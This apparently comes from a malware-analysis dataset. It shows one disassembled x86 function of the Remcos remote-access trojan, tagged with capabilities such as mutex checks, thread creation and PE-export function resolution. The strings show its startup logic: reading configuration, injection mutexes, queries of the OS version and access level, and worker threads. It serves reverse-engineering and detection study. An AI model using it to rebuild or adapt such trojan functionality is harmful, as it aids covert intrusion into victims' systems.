Function at 0x40c641
Capabilities:
Check mutex on windows
Create thread
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x30c
lea ecx, [esp + 0x3c]
push ebx
push esi
push edi
call fcn.0040cfbe
sub esp, 0x18
mov ecx, esp
push 0x46c59c
call fcn.004020cc
sub esp, 0x18
lea eax, [esp + 0x78]
mov ecx, esp
push eax
call fcn.004020cc
lea ecx, [esp + 0x60]
call fcn.00416dd0
add esp, 0x30
push eax
call fcn.0040d7f8
lea ecx, [esp + 0x30]
call fcn.00401e54
mov ecx, dword [ebp + 0x10]
cmp byte [ecx], 0x2d
jne 0x40c6ff
cmp byte [ecx + 1], 0x6c
jne 0x40c6ff
movzx eax, byte [ecx + 2]
test al, al
jne 0x40c6ff
push ecx
push ecx
push 2
push str.licence_code.txt
lea ecx, [esp + 0x70]
call fcn.0040d8e4
push 0x34
mov ecx, 0x46c578
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
mov edx, eax
lea ecx, [esp + 0x60]
call fcn.0040ec5b
lea ecx, [esp + 0x60]
call fcn.0040d895
lea ecx, [esp + 0x60]
call fcn.0040cfab
lea ecx, [esp + 0x48]
call fcn.00401fa7
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov edi, 0x46c578
push 3
mov ecx, edi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push str._nF2
push 0xe
mov ecx, edi
cmp byte [eax], 0
setne byte [0x46bb05]
call fcn.00401e29
push eax
mov edx, str.Software_
lea ecx, [esp + 0x20]
call fcn.004075e8
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.0040530d
pop ecx
mov esi, 0x46c518
push eax
mov ecx, esi
call fcn.00401fb1
lea ecx, [esp + 0x30]
call fcn.00401fa7
lea ecx, [esp + 0x18]
call fcn.00401fa7
xor ebx, ebx
mov ecx, edi
push ebx
push 0x32
call fcn.00401e29
mov ecx, eax
call fcn.004051ea
push ebx
push 0x33
mov ecx, edi
cmp byte [eax], bl
setne byte [0x46bd4e]
call fcn.00401e29
mov ecx, eax
call fcn.004051ea
cmp byte [eax], bl
setne byte [0x46bd4f]
cmp byte [0x46bd4e], bl
je 0x40c7cb
lea eax, [esp + 0x10]
mov dword [esp + 0x10], ebx
push eax
push 0x4603f4
mov ecx, esi
call fcn.00401f75
mov edx, eax
call fcn.00410275
pop ecx
pop ecx
test al, al
jne 0x40cf4a
push str.Remcos_Mutex_Inj
push ebx
push 0x100000
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov esi, eax
test esi, esi
je 0x40c7f9
push 0xea60
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x14]
mov esi, 0x46040c
push eax
mov ebx, 0x46c518
push esi
mov ecx, ebx
call fcn.00401f75
mov edx, eax
call fcn.00410275
pop ecx
pop ecx
test al, al
je 0x40c82d
push esi
mov ecx, ebx
call fcn.00401f75
mov edx, eax
call fcn.004106d2
pop ecx
push 0xe
mov ecx, edi
call fcn.00401e29
mov esi, 0x46c548
push eax
mov ecx, esi
call fcn.00401f8d
mov ecx, esi
call fcn.00401f75
push eax
xor ebx, ebx
xor edi, edi
inc ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40cc1b
call fcn.0040d072
push 0x104
push 0x46bb08
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.00416f6c
push ecx
push str.ProductName
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov edx, closesocket
mov byte [0x46beb4], al
lea ecx, [esp + 0x24]
call fcn.004102d2
add esp, 0xc
mov esi, 0x46c5b4
mov ecx, esi
push eax
call fcn.00401fb1
lea ecx, [esp + 0x18]
call fcn.00401fa7
cmp byte [0x46beb4], 0
mov ecx, esi
je 0x40c8cd
push str.__64_bit_
jmp 0x40c8d2
push str.__32_bit_
call fcn.004059b5
mov eax, dword [0x46bd24]
test eax, eax
je 0x40c8e7
call eax
mov dword [0x46a9d0], eax
mov esi, 0x46c578
cmp dword [esp + 0x14], edi
jne 0x40c94a
push 0x2e
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
cmp byte [eax], 0
je 0x40c94a
cmp dword [0x46bd24], edi
je 0x40c94a
cmp dword [0x46a9d0], edi
je 0x40c92a
push ecx
push ecx
call fcn.0040aab0
cmp eax, 0xffffffff
jne 0x40c94a
call fcn.00406024
jmp 0x40c94a
push str.origmsc
mov ecx, 0x46c518
call fcn.00401f75
mov edx, eax
call fcn.0041022b
pop ecx
test al, al
jne 0x40c94a
call fcn.00405f2a
push 0x27
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
cmp byte [eax], 0
je 0x40c964
call fcn.0040d797
push 0xb
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push eax
mov ecx, 0x46c4e8
call fcn.00409dcb
push 4
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push 5
mov ecx, esi
cmp byte [eax], 0
setne byte [0x46bb06]
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push 8
mov ecx, esi
cmp byte [eax], 0
setne byte [0x46baff]
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push 3
mov ecx, esi
cmp byte [eax], 0
setne byte [0x46bb04]
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
cmp byte [eax], 0
je 0x40ca51
push 0x30
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x40c9f5
sub eax, edx
sar eax, 1
je 0x40ca51
push 9
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push 0x30
mov ecx, 0x46c578
mov esi, eax
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
mov dl, byte [esi]
lea ecx, [esp + 0x18]
push eax
call fcn.004179b3
pop ecx
push eax
mov ecx, 0x46c530
call fcn.00401eda
lea ecx, [esp + 0x18]
call fcn.00401ed0
mov esi, 0x46c578
cmp dword [esp + 0x14], edi
jne 0x40cc2b
cmp byte [0x46bb05], 0
je 0x40caee
push 0x1e
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push 0xc
mov ecx, esi
mov edi, eax
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push 9
mov ecx, 0x46c578
mov esi, eax
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
cmp byte [edi], 0
mov ebx, eax
setne cl
cmp byte [esi], 0
movzx ecx, cl
mov esi, 0x46c578
push ecx
setne cl
movzx ecx, cl
push ecx
push 0xa
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push eax
push 0x30
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
mov cl, byte [ebx]
mov edx, eax
call fcn.0040ad0a
xor ebx, ebx
add esp, 0xc
inc ebx
xor edi, edi
jmp 0x40cafd
push 0x46bb08
mov ecx, 0x46c500
call fcn.00409dcb
mov ecx, 0x46c500
call fcn.00402469
xor ecx, ecx
inc eax
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
mov dword [esp + 0x14], ecx
call fcn.0042ee1e
mov esi, eax
pop ecx
test esi, esi
je 0x40cb37
push dword [esp + 0x10]
push edi
push esi
call fcn.00431810
add esp, 0xc
jmp 0x40cb39
mov esi, edi
mov ecx, 0x46c500
call fcn.00401ecb
mov edx, esi
push 2
sub edx, eax
pop edi
movzx ecx, word [eax]
mov word [eax + edx], cx
add eax, edi
test cx, cx
jne 0x40cb4a
push ecx
mov edi, 0x46c560
mov ecx, edi
call fcn.00402469
push eax
mov ecx, edi
call fcn.00401f75
push eax
mov ecx, 0x46c500
call fcn.00402469
mov ecx, 0x46c518
lea eax, [eax*2 + 2]
push eax
push esi
push str.exepath
call fcn.00401f75
mov edx, eax
call fcn.00410670
push esi
call fcn.0042ee27
add esp, 0x1c
mov edi, 0x46c578
mov ecx, edi
push ebx
push 0x34
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402064
push str.licence
mov ecx, 0x46c518
call fcn.00401f75
mov edx, eax
call fcn.00410497
add esp, 0x20
mov ecx, edi
push 0xd
call fcn.00401e29
mov edx, 0x45f6e8
mov ecx, eax
call fcn.0040ee79
test al, al
je 0x40cc90
push 0xd
mov ecx, edi
call fcn.00401e29
sub esp, 0x18
mov edx, eax
mov ecx, esp
call fcn.00416c32
call fcn.0040d1ad
add esp, 0x18
cmp al, bl
jne 0x40cc90
push 3
pop ebx
lea ecx, [esp + 0x48]
call fcn.00401fa7
mov eax, ebx
jmp 0x40c6f6
mov esi, 0x208
lea eax, [esp + 0x110]
push esi
push edi
push eax
call fcn.00431810
add esp, 0xc
mov edi, 0x46c560
mov ecx, edi
call fcn.00402469
push eax
mov ecx, edi
call fcn.00401f75
push eax
push esi
lea eax, [esp + 0x11c]
mov ecx, 0x46c518
push eax
push str.exepath
call fcn.00401f75
mov edx, eax
call fcn.00410420
add esp, 0x14
lea eax, [esp + 0x110]
mov ecx, 0x46c500
push eax
call fcn.00409dcb
mov edi, 0x46c578
push 0x28
mov ecx, edi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push eax
call fcn.00436079
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov byte [0x46bb07], al
pop ecx
cmp al, 2
jne 0x40ccba
mov cl, bl
jmp 0x40ccc0
cmp al, bl
jne 0x40ccd3
xor cl, cl
call fcn.004188b1
xor eax, eax
push eax
push eax
push eax
push 0x418680
push eax
push eax
call esi
push 0x37
mov ecx, edi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push 0x10
mov ecx, edi
mov esi, eax
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push 0xf
mov ecx, edi
mov ebx, eax
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
cmp byte [esi], 0
mov edi, eax
mov esi, 0x46c578
setne cl
movzx ecx, cl
push ecx
push 0x36
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push eax
call fcn.00436079
pop ecx
push eax
push 0x11
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push eax
push 0x31
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push eax
movzx eax, byte [ebx]
push eax
movzx eax, byte [edi]
push eax
call fcn.0040846f
push 0x14
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
xor ebx, ebx
inc ebx
cmp byte [eax], bl
jne 0x40cdbd
push 2
pop eax
push eax
call fcn.0042eb70
mov esi, eax
xor eax, eax
pop ecx
push 0x35
mov ecx, 0x46c578
mov byte [esi], al
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
cmp byte [eax], 0
setne cl
xor eax, eax
push eax
push eax
push esi
push 0x4152d7
push eax
push eax
mov byte [esi + 1], cl
call edi
mov esi, 0x46c578
jmp 0x40cdc3
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x16
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
cmp byte [eax], bl
jne 0x40ce14
push 2
pop eax
push eax
call fcn.0042eb70
mov esi, eax
pop ecx
push 0x35
mov ecx, 0x46c578
mov byte [esi], bl
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
cmp byte [eax], 0
setne cl
xor eax, eax
push eax
push eax
push esi
push 0x4152d7
push eax
push eax
mov byte [esi + 1], cl
call edi
mov esi, 0x46c578
push 0x23
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
cmp byte [eax], bl
jne 0x40ce87
push 0x25
mov ecx, esi
mov byte [0x46ba75], bl
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push 0x26
mov ecx, 0x46c578
mov esi, eax
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
mov dl, byte [esi]
lea ecx, [esp + 0x18]
push eax
call fcn.00417967
pop ecx
push eax
mov ecx, 0x46c0e0
call fcn.00401eda
lea ecx, [esp + 0x18]
call fcn.00401ed0
xor eax, eax
push eax
push eax
push eax
push 0x401bad
push eax
push eax
call edi
mov esi, 0x46c578
push 0x2b
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
cmp byte [eax], bl
jne 0x40ced4
push 0x2c
mov ecx, esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push 0x2d
mov ecx, 0x46c578
mov esi, eax
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push eax
call fcn.00436079
cmp byte [esi], 0
mov edx, eax
pop ecx
setne cl
call fcn.0040aa16
lea ecx, [esp + 0x18]
call fcn.004166f6
push eax
mov ecx, 0x46c584
call fcn.00401eda
lea ecx, [esp + 0x18]
call fcn.00401ed0
mov eax, dword [0x46bd18]
xor ebx, ebx
test eax, eax
je 0x40ceff
push ebx
call eax
push ebx
push ebx
push ebx
push 0x40d455
push ebx
push ebx
call edi
cmp byte [0x46bd4e], 0
je 0x40cf20
push ebx
push ebx
push ebx
push fcn.0040f4b7
push ebx
push ebx
call edi
cmp byte [0x46bd4f], 0
je 0x40cf35
push ebx
push ebx
push ebx
push 0x40f9d5
push ebx
push ebx
call edi
mov eax, dword [0x46a9d0]
sub eax, ebx
je 0x40cf67
sub eax, 1
jne 0x40cfa5
push str.Administrator
jmp 0x40cf6c
push 0x4603f4
mov ecx, esi
call fcn.00401f75
mov edx, eax
call fcn.004106d2
pop ecx
mov ecx, dword [esp + 0x10]
call fcn.0040f785
push str.User
lea ecx, [esp + 0x1c]
call fcn.00402064
sub esp, 0x18
mov edx, str.Access_level:
mov ecx, esp
push eax
call fcn.004075c4
sub esp, 0x14
mov ecx, esp
push str._Info_
call fcn.00402064
call fcn.004165d8
add esp, 0x30
lea ecx, [esp + 0x18]
call fcn.00401fa7
call fcn.00411319
int3